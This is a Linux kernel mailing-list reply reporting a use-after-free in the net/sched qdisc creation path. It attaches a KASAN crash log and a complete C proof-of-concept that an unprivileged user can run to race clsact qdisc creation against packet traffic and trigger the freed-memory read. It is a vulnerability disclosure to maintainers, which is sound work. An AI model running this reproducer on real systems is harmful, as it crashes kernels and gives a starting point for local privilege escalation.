Re: [PATCH net] net/sched: defer qdisc freeing after failed creation

David Lee <[email protected]>
Newsgroups org.kernel.vger.linux-kernel,org.kernel.vger.netdev
Message-ID <CAC_etQFk=tGLvbHPmQwOyrYWgRtDru3dSw4T7sZ-9hvVMy_J-g@mail.gmail.com>
Hi Jakub,

Apologies for the confusion. I've reattached the correct reproducer.

======== Affected Versions =======
Runtime reproduction: Linux 7.2.0-rc3-kasan
Confirmed vulnerable revision:
f5098b6bae761e346ebcd9da7f95622c04733cff (Linux 7.2-rc5)
Latest inspected vulnerable revisions:
* 62cc90241548d5570ee68e01aaba6506964e9811 (Torvalds master)
* 9d8da8e0a9bce4a340af60dd0446bc7eb8d07587 (net main)
Introduced by:
51ab2994c387c80b45caf8b8067b3f3b97771d25
("net: sched: allow ingress and clsact qdiscs to share filter blocks")
https://github.com/torvalds/linux/commit/51ab2994c387c80b45caf8b8067b3f3b97771d25

Required Configs for the Vulnerability:
* CONFIG_NET_SCHED
* CONFIG_NET_SCH_INGRESS
* CONFIG_NET_CLS_ACT

Additional Configs used by the Proof-of-Concept:
* CONFIG_NET_CLS_BPF
* CONFIG_TUN
* CONFIG_USER_NS
* CONFIG_NET_NS
* CONFIG_KASAN

========== Reproduction ==========
Step 1: Build and boot a KASAN-enabled kernel with the configurations
listed above.

Step 2: Statically compile the attached `poc.c`:

~
gcc -static -O2 -Wall -Wextra -pthread -o poc poc.c
~

Step 3: Run `./poc` as a regular local user. The program creates an
owned user and network namespace, two TUN interfaces, and a populated
shared ingress block. It sends ingress traffic while repeatedly
requesting a `clsact` qdisc with the shared block and the invalid rate
estimator.

Step 4: Because this is a race, triggering time varies. The validated
run reported:

~
BUG: KASAN: slab-use-after-free in tc_run+0x5e3/0x620
Read of size 8 ... by task poc/...

Freed by task ...:
  kfree
  qdisc_free
  qdisc_create
  tc_modify_qdisc
~

The complete KASAN report is attached as `splash.txt`.

Best regards,
David

On Wed, Aug 12, 2026 at 9:22 PM Jakub Kicinski <[email protected]> wrote:

> On Tue, 11 Aug 2026 00:58:27 +0900 David Lee wrote:
> > [  230.057740] ipip: IPv4 and MPLS over IPv4 tunneling driver
> > [  231.667279]
> > ==================================================================
> > [  231.667738] BUG: KASAN: stack-out-of-bounds in
> > __ip_options_echo+0xdf7/0x1860
>
> I'm struggling to see how this is a repro for the qdisc lifecycle bug
>
> In any case -- if the fix is really correct and there's some real repro
> shared off list - I think you're deleting the last caller of
> qdisc_free() so you should inline it into qdisc_free_cb()
>
> So patch as is needs to be refactored. But please don't repost just
> to refactor, we need a convincing repro first.
>
splash.txt (text/plain, 8.2 KB)
[  232.894671] ==================================================================
[  232.894793] BUG: KASAN: slab-use-after-free in tc_run+0x5e3/0x620
[  232.894793] Read of size 8 at addr ffff8881032c51e8 by task poc/1272
[  232.894793] 
[  232.894793] CPU: 3 UID: 1000 PID: 1272 Comm: poc Not tainted 7.2.0-rc3-kasan #1 PREEMPT(lazy) 
[  232.894793] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014
[  232.894793] Call Trace:
[  232.894793]  <TASK>
[  232.894793]  dump_stack_lvl+0x5f/0x90
[  232.894793]  print_report+0x15b/0x4ec
[  232.894793]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[  232.894793]  ? kasan_complete_mode_report_info+0x88/0x230
[  232.894793]  kasan_report+0xf2/0x130
[  232.894793]  ? tc_run+0x5e3/0x620
[  232.894793]  ? tc_run+0x5e3/0x620
[  232.894793]  __asan_report_load8_noabort+0x14/0x30
[  232.894793]  tc_run+0x5e3/0x620
[  232.894793]  ? __pfx_tc_run+0x10/0x10
[  232.894793]  __netif_receive_skb_core.constprop.0+0x9cc/0x31e0
[  232.894793]  ? __pfx___skb_flow_dissect+0x10/0x10
[  232.894793]  ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10
[  232.894793]  ? lapic_next_event+0x15/0x30
[  232.894793]  ? clockevents_program_event+0x2bd/0x750
[  232.894793]  ? ktime_get+0x100/0x190
[  232.894793]  ? __alloc_skb+0x34c/0xa10
[  232.894793]  ? lapic_next_event+0x15/0x30
[  232.894793]  ? __pfx_clockevents_program_event+0x10/0x10
[  232.894793]  ? __kasan_check_write+0x14/0x30
[  232.894793]  ? _raw_spin_lock+0x82/0xf0
[  232.894793]  __netif_receive_skb_one_core+0xa5/0x1d0
[  232.894793]  ? tick_program_event+0x69/0x130
[  232.894793]  ? __pfx___netif_receive_skb_one_core+0x10/0x10
[  232.894793]  ? __hrtimer_rearm_deferred+0x18a/0x520
[  232.894793]  ? sysvec_apic_timer_interrupt+0x54/0xd0
[  232.894793]  ? irqentry_exit+0x1cd/0x7b0
[  232.894793]  __netif_receive_skb+0x1c/0x160
[  232.894793]  netif_receive_skb+0x2f3/0x420
[  232.894793]  ? asm_sysvec_apic_timer_interrupt+0x1b/0x20
[  232.894793]  ? __pfx_netif_receive_skb+0x10/0x10
[  232.894793]  tun_get_user+0x2208/0x3c40
[  232.894793]  ? aa_file_perm+0x544/0xf20
[  232.894793]  ? __pfx_tun_get_user+0x10/0x10
[  232.894793]  ? rcu_sched_clock_irq+0xf08/0x2310
[  232.894793]  ? apparmor_file_permission+0x14d/0x500
[  232.894793]  ? __pfx_apparmor_file_permission+0x10/0x10
[  232.894793]  ? update_cfs_group+0x218/0x380
[  232.894793]  tun_chr_write_iter+0x176/0x2a0
[  232.894793]  ? tun_chr_write_iter+0x176/0x2a0
[  232.894793]  ? __pfx_run_posix_cpu_timers+0x10/0x10
[  232.894793]  vfs_write+0x580/0xf70
[  232.894793]  ? perf_event_task_tick+0x92/0x1d0
[  232.894793]  ? __pfx_vfs_write+0x10/0x10
[  232.894793]  ? __kasan_check_write+0x14/0x30
[  232.894793]  ? __kasan_check_write+0x14/0x30
[  232.894793]  ? fdget_pos+0x420/0x600
[  232.894793]  ksys_write+0x104/0x240
[  232.894793]  ? __pfx_ksys_write+0x10/0x10
[  232.894793]  ? lapic_next_event+0x15/0x30
[  232.894793]  ? clockevents_program_event+0x2bd/0x750
[  232.894793]  __x64_sys_write+0x72/0xd0
[  232.894793]  ? ktime_get_update_offsets_now+0x1d5/0x400
[  232.894793]  x64_sys_call+0x22f/0x2390
[  232.894793]  do_syscall_64+0xdd/0x640
[  232.894793]  ? __kasan_check_write+0x14/0x30
[  232.894793]  ? _raw_spin_lock+0x82/0xf0
[  232.894793]  ? __pfx__raw_spin_lock+0x10/0x10
[  232.894793]  ? tick_program_event+0x69/0x130
[  232.894793]  ? __kasan_check_read+0x11/0x20
[  232.894793]  ? fpregs_assert_state_consistent+0x5c/0x100
[  232.894793]  ? irqentry_exit+0x3f/0x7b0
[  232.894793]  ? __irq_exit_rcu+0x45/0x250
[  232.894793]  ? __sysvec_apic_timer_interrupt+0x91/0x320
[  232.894793]  ? do_syscall_64+0x94/0x640
[  232.894793]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[  232.894793] RIP: 0033:0x440692
[  232.910990] Code: 08 0f 85 f1 de ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 55 48 89 e5
[  232.911028] RSP: 002b:000070c4801be188 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
[  232.911028] RAX: ffffffffffffffda RBX: 00007ffdcdd87380 RCX: 0000000000440692
[  232.911028] RDX: 0000000000000040 RSI: 00000000004a8500 RDI: 0000000000000004
[  232.911028] RBP: 000070c4801be1b0 R08: 0000000000000000 R09: 0000000000000000
[  232.911028] R10: 0000000000000000 R11: 0000000000000246 R12: 000070c4801be6c0
[  232.911028] R13: 00007ffdcdd87170 R14: 000070c4801bece4 R15: 00007ffdcdd87267
[  232.911028]  </TASK>
[  232.911028] 
[  232.934520] Allocated by task 1267 on cpu 0 at 232.847363s:
[  232.934520]  kasan_save_stack+0x3a/0x70
[  232.934520]  kasan_save_track+0x18/0x70
[  232.934520]  kasan_save_alloc_info+0x39/0x60
[  232.934520]  __kasan_kmalloc+0xa9/0xd0
[  232.934520]  __kmalloc_node_noprof+0x208/0x630
[  232.934520]  qdisc_alloc+0xba/0x7a0
[  232.934520]  qdisc_create+0x6e/0xc80
[  232.934520]  tc_modify_qdisc+0xab5/0x1ff0
[  232.934520]  rtnetlink_rcv_msg+0x34f/0xb00
[  232.934520]  netlink_rcv_skb+0x147/0x400
[  232.934520]  rtnetlink_rcv+0x15/0x30
[  232.934520]  netlink_unicast+0x796/0xb30
[  232.934520]  netlink_sendmsg+0x770/0xc70
[  232.934520]  ____sys_sendmsg+0x95d/0xc50
[  232.934520]  ___sys_sendmsg+0x101/0x1a0
[  232.934520]  __sys_sendmsg+0x127/0x1e0
[  232.934520]  __x64_sys_sendmsg+0x77/0xd0
[  232.934520]  x64_sys_call+0x20d2/0x2390
[  232.934520]  do_syscall_64+0xdd/0x640
[  232.934520]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[  232.934520] 
[  232.934520] Freed by task 1267 on cpu 0 at 232.854692s:
[  232.934520]  kasan_save_stack+0x3a/0x70
[  232.934520]  kasan_save_track+0x18/0x70
[  232.934520]  kasan_save_free_info+0x3b/0x70
[  232.934520]  __kasan_slab_free+0x7a/0xb0
[  232.934520]  kfree+0x1bd/0x510
[  232.934520]  qdisc_free+0x9c/0xd0
[  232.934520]  qdisc_create+0x5b0/0xc80
[  232.934520]  tc_modify_qdisc+0xab5/0x1ff0
[  232.934520]  rtnetlink_rcv_msg+0x34f/0xb00
[  232.934520]  netlink_rcv_skb+0x147/0x400
[  232.934520]  rtnetlink_rcv+0x15/0x30
[  232.934520]  netlink_unicast+0x796/0xb30
[  232.934520]  netlink_sendmsg+0x770/0xc70
[  232.934520]  ____sys_sendmsg+0x95d/0xc50
[  232.934520]  ___sys_sendmsg+0x101/0x1a0
[  232.934520]  __sys_sendmsg+0x127/0x1e0
[  232.934520]  __x64_sys_sendmsg+0x77/0xd0
[  232.934520]  x64_sys_call+0x20d2/0x2390
[  232.934520]  do_syscall_64+0xdd/0x640
[  232.934520]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[  232.934520] 
[  232.934520] The buggy address belongs to the object at ffff8881032c5000
[  232.934520]  which belongs to the cache kmalloc-part-02-1k of size 1024
[  232.934520] The buggy address is located 488 bytes inside of
[  232.934520]  freed 1024-byte region [ffff8881032c5000, ffff8881032c5400)
[  232.934520] 
[  232.934520] The buggy address belongs to the physical page:
[  232.934520] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff8881032c6800 pfn:0x1032c0
[  232.934520] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[  232.934520] flags: 0x17ffffc0000240(workingset|head|node=0|zone=2|lastcpupid=0x1fffff)
[  232.934520] page_type: f5(slab)
[  232.934520] raw: 0017ffffc0000240 ffff888100048f00 ffff888100041290 ffffea0004071610
[  232.934520] raw: ffff8881032c6800 000000080010000e 00000000f5000000 0000000000000000
[  232.934520] head: 0017ffffc0000240 ffff888100048f00 ffff888100041290 ffffea0004071610
[  232.934520] head: ffff8881032c6800 000000080010000e 00000000f5000000 0000000000000000
[  232.934520] head: 0017ffffc0000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
[  232.934520] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
[  232.934520] page dumped because: kasan: bad access detected
[  232.934520] 
[  232.934520] Memory state around the buggy address:
[  232.934520]  ffff8881032c5080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  232.934520]  ffff8881032c5100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  232.934520] >ffff8881032c5180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  232.934520]                                                           ^
[  232.934520]  ffff8881032c5200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  232.934520]  ffff8881032c5280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  232.934520] ==================================================================
[  233.001266] Disabling lock debugging due to kernel taint
poc.c (application/octet-stream, 8.9 KB)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/filter.h>
#include <linux/if_ether.h>
#include <linux/if_tun.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#include <sys/types.h>
#include <unistd.h>

#define TUN_FALLBACK_DIR "/tmp/1328_net_sched_qdisc_core_security_audit__finding_002"
#define TUN_FALLBACK_PATH TUN_FALLBACK_DIR "/tun"

struct tc_estimator_local {
	int8_t interval;
	uint8_t ewma_log;
};

struct nl_req {
	struct nlmsghdr nlh;
	struct tcmsg tcm;
	char buf[65536];
};

struct writer_arg {
	int fd;
	int cpu;
};

static atomic_bool stop_writers;
static uint32_t nl_seq;

static void fatal(const char *what)
{
	fprintf(stderr, "%s: %s\n", what, strerror(errno));
	exit(1);
}

static void fatal_nl(const char *what, int err)
{
	fprintf(stderr, "%s: %s\n", what, strerror(-err));
	exit(1);
}

static void write_file(const char *path, const char *value)
{
	size_t len = strlen(value);
	int fd = open(path, O_WRONLY);

	if (fd < 0)
		fatal(path);
	if (write(fd, value, len) != (ssize_t)len)
		fatal(path);
	close(fd);
}

static void setup_user_netns(void)
{
	char map[64];
	uid_t uid = getuid();
	gid_t gid = getgid();

	if (unshare(CLONE_NEWUSER) < 0)
		fatal("unshare(CLONE_NEWUSER)");

	snprintf(map, sizeof(map), "0 %u 1\n", uid);
	write_file("/proc/self/uid_map", map);
	write_file("/proc/self/setgroups", "deny\n");
	snprintf(map, sizeof(map), "0 %u 1\n", gid);
	write_file("/proc/self/gid_map", map);

	if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
		fatal("setresuid/setresgid");
	if (unshare(CLONE_NEWNET) < 0)
		fatal("unshare(CLONE_NEWNET)");
}

static int open_tun(void)
{
	int fd = open("/dev/net/tun", O_RDWR | O_CLOEXEC);

	if (fd >= 0)
		return fd;

	if (mkdir(TUN_FALLBACK_DIR, 0700) < 0 && errno != EEXIST)
		fatal("mkdir(TUN_FALLBACK_DIR)");
	if (mknod(TUN_FALLBACK_PATH, S_IFCHR | 0600, makedev(10, 200)) < 0 &&
	    errno != EEXIST)
		fatal("mknod(TUN_FALLBACK_PATH)");
	fd = open(TUN_FALLBACK_PATH, O_RDWR | O_CLOEXEC);
	if (fd < 0)
		fatal("open(tun)");
	return fd;
}

static int create_tun(const char *name)
{
	struct ifreq ifr = {};
	int fd = open_tun();

	ifr.ifr_flags = IFF_TUN | IFF_NO_PI;
	strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
	if (ioctl(fd, TUNSETIFF, &ifr) < 0)
		fatal("TUNSETIFF");
	return fd;
}

static void set_if_up(const char *name)
{
	struct ifreq ifr = {};
	int fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);

	if (fd < 0)
		fatal("socket(AF_INET)");
	strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		fatal("SIOCGIFFLAGS");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		fatal("SIOCSIFFLAGS");
	close(fd);
}

static struct rtattr *addattr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
			      const void *data, size_t len)
{
	size_t attr_len = RTA_LENGTH(len);
	size_t new_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(attr_len);
	struct rtattr *rta;

	if (new_len > maxlen) {
		errno = EMSGSIZE;
		fatal("addattr");
	}
	rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len = attr_len;
	if (len)
		memcpy(RTA_DATA(rta), data, len);
	nlh->nlmsg_len = new_len;
	return rta;
}

static struct rtattr *nest_start(struct nlmsghdr *nlh, size_t maxlen,
				 uint16_t type)
{
	return addattr(nlh, maxlen, type | NLA_F_NESTED, NULL, 0);
}

static void nest_end(struct nlmsghdr *nlh, struct rtattr *nest)
{
	nest->rta_len = (char *)nlh + nlh->nlmsg_len - (char *)nest;
}

static int rtnl_open(void)
{
	struct sockaddr_nl addr = { .nl_family = AF_NETLINK };
	int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);

	if (fd < 0)
		fatal("socket(NETLINK_ROUTE)");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		fatal("bind(NETLINK_ROUTE)");
	return fd;
}

static int rtnl_ack(int fd, struct nlmsghdr *nlh)
{
	struct sockaddr_nl addr = { .nl_family = AF_NETLINK };
	char buf[4096];
	struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
	struct msghdr msg = {
		.msg_name = &addr,
		.msg_namelen = sizeof(addr),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};

	nlh->nlmsg_seq = ++nl_seq;
	if (sendmsg(fd, &msg, 0) < 0)
		fatal("sendmsg");

	for (;;) {
		ssize_t len = recv(fd, buf, sizeof(buf), 0);
		struct nlmsghdr *h;

		if (len < 0)
			fatal("recv");
		for (h = (struct nlmsghdr *)buf; NLMSG_OK(h, len);
		     h = NLMSG_NEXT(h, len)) {
			struct nlmsgerr *err;

			if (h->nlmsg_seq != nlh->nlmsg_seq ||
			    h->nlmsg_type != NLMSG_ERROR)
				continue;
			err = NLMSG_DATA(h);
			return err->error;
		}
	}
}

static void req_init(struct nl_req *req, uint16_t type, uint16_t flags,
		     int ifindex, uint32_t handle, uint32_t parent,
		     uint32_t info)
{
	memset(req, 0, sizeof(*req));
	req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req->tcm));
	req->nlh.nlmsg_type = type;
	req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
	req->tcm.tcm_family = AF_UNSPEC;
	req->tcm.tcm_ifindex = ifindex;
	req->tcm.tcm_handle = handle;
	req->tcm.tcm_parent = parent;
	req->tcm.tcm_info = info;
}

static int create_clsact(int nl, int ifindex, uint32_t block, bool bad_rate)
{
	struct tc_estimator_local est = { .interval = 4, .ewma_log = 1 };
	struct nl_req req;

	req_init(&req, RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL, ifindex,
		 TC_H_MAKE(TC_H_CLSACT, 0), TC_H_CLSACT, 0);
	addattr(&req.nlh, sizeof(req), TCA_KIND, "clsact", sizeof("clsact"));
	addattr(&req.nlh, sizeof(req), TCA_INGRESS_BLOCK, &block, sizeof(block));
	if (bad_rate)
		addattr(&req.nlh, sizeof(req), TCA_RATE, &est, sizeof(est));
	return rtnl_ack(nl, &req.nlh);
}

static int install_slow_drop_filter(int nl, uint32_t block)
{
	struct sock_filter *ops;
	struct nl_req req;
	struct rtattr *opts;
	uint16_t ops_len = BPF_MAXINSNS;
	uint32_t flags = TCA_BPF_FLAG_ACT_DIRECT;
	uint32_t info = TC_H_MAKE(1U << 16, htons(ETH_P_ALL));
	int i;

	ops = calloc(BPF_MAXINSNS, sizeof(*ops));
	if (!ops)
		fatal("calloc(cbpf)");

	/*
	 * tc_run() uses the miniq again for the drop-stat update after classify().
	 * A maximum-length classic BPF program widens the interval between the
	 * initial miniq load and that later access without needing eBPF.
	 */
	for (i = 0; i < BPF_MAXINSNS - 1; i++) {
		ops[i].code = BPF_LD | BPF_B | BPF_ABS;
		ops[i].k = 0;
	}
	ops[BPF_MAXINSNS - 1].code = BPF_RET | BPF_K;
	ops[BPF_MAXINSNS - 1].k = TC_ACT_SHOT;

	req_init(&req, RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL,
		 TCM_IFINDEX_MAGIC_BLOCK, 0, block, info);
	addattr(&req.nlh, sizeof(req), TCA_KIND, "bpf", sizeof("bpf"));
	opts = nest_start(&req.nlh, sizeof(req), TCA_OPTIONS);
	addattr(&req.nlh, sizeof(req), TCA_BPF_OPS_LEN, &ops_len, sizeof(ops_len));
	addattr(&req.nlh, sizeof(req), TCA_BPF_OPS, ops,
		BPF_MAXINSNS * sizeof(*ops));
	addattr(&req.nlh, sizeof(req), TCA_BPF_FLAGS, &flags, sizeof(flags));
	nest_end(&req.nlh, opts);
	free(ops);
	return rtnl_ack(nl, &req.nlh);
}

static void pin_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0)
		fatal("sched_setaffinity");
}

static void *packet_writer(void *opaque)
{
	static const unsigned char packet[64] = {
		0x45, 0x00, 0x00, 0x40, 0x00, 0x01, 0x00, 0x00,
		0x40, 0x11, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x01,
		0x7f, 0x00, 0x00, 0x01,
	};
	struct writer_arg *arg = opaque;

	pin_cpu(arg->cpu);
	while (!atomic_load_explicit(&stop_writers, memory_order_relaxed)) {
		ssize_t ignored = write(arg->fd, packet, sizeof(packet));

		(void)ignored;
	}
	return NULL;
}

int main(void)
{
	enum { WRITERS = 3, ATTEMPTS = 100000 };
	struct writer_arg args[WRITERS];
	pthread_t threads[WRITERS];
	uint32_t block = 1;
	unsigned int owner_ifindex, victim_ifindex;
	int owner_fd, victim_fd, nl;
	int err, i;

	setup_user_netns();
	owner_fd = create_tun("tun0");
	victim_fd = create_tun("tun1");
	set_if_up("tun0");
	set_if_up("tun1");
	owner_ifindex = if_nametoindex("tun0");
	victim_ifindex = if_nametoindex("tun1");
	if (!owner_ifindex || !victim_ifindex)
		fatal("if_nametoindex");

	nl = rtnl_open();
	err = create_clsact(nl, owner_ifindex, block, false);
	if (err)
		fatal_nl("create owner clsact", err);
	err = install_slow_drop_filter(nl, block);
	if (err)
		fatal_nl("install cBPF filter", err);

	for (i = 0; i < WRITERS; i++) {
		args[i].fd = victim_fd;
		args[i].cpu = i + 1;
		if (pthread_create(&threads[i], NULL, packet_writer, &args[i]))
			fatal("pthread_create");
	}

	pin_cpu(0);
	for (i = 0; i < ATTEMPTS; i++) {
		err = create_clsact(nl, victim_ifindex, block, true);
		if (err != -EINVAL) {
			fprintf(stderr, "failing clsact create returned %d\n", err);
			exit(1);
		}
	}

	atomic_store_explicit(&stop_writers, true, memory_order_relaxed);
	for (i = 0; i < WRITERS; i++)
		pthread_join(threads[i], NULL);
	close(nl);
	close(victim_fd);
	close(owner_fd);
	return 0;
}
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.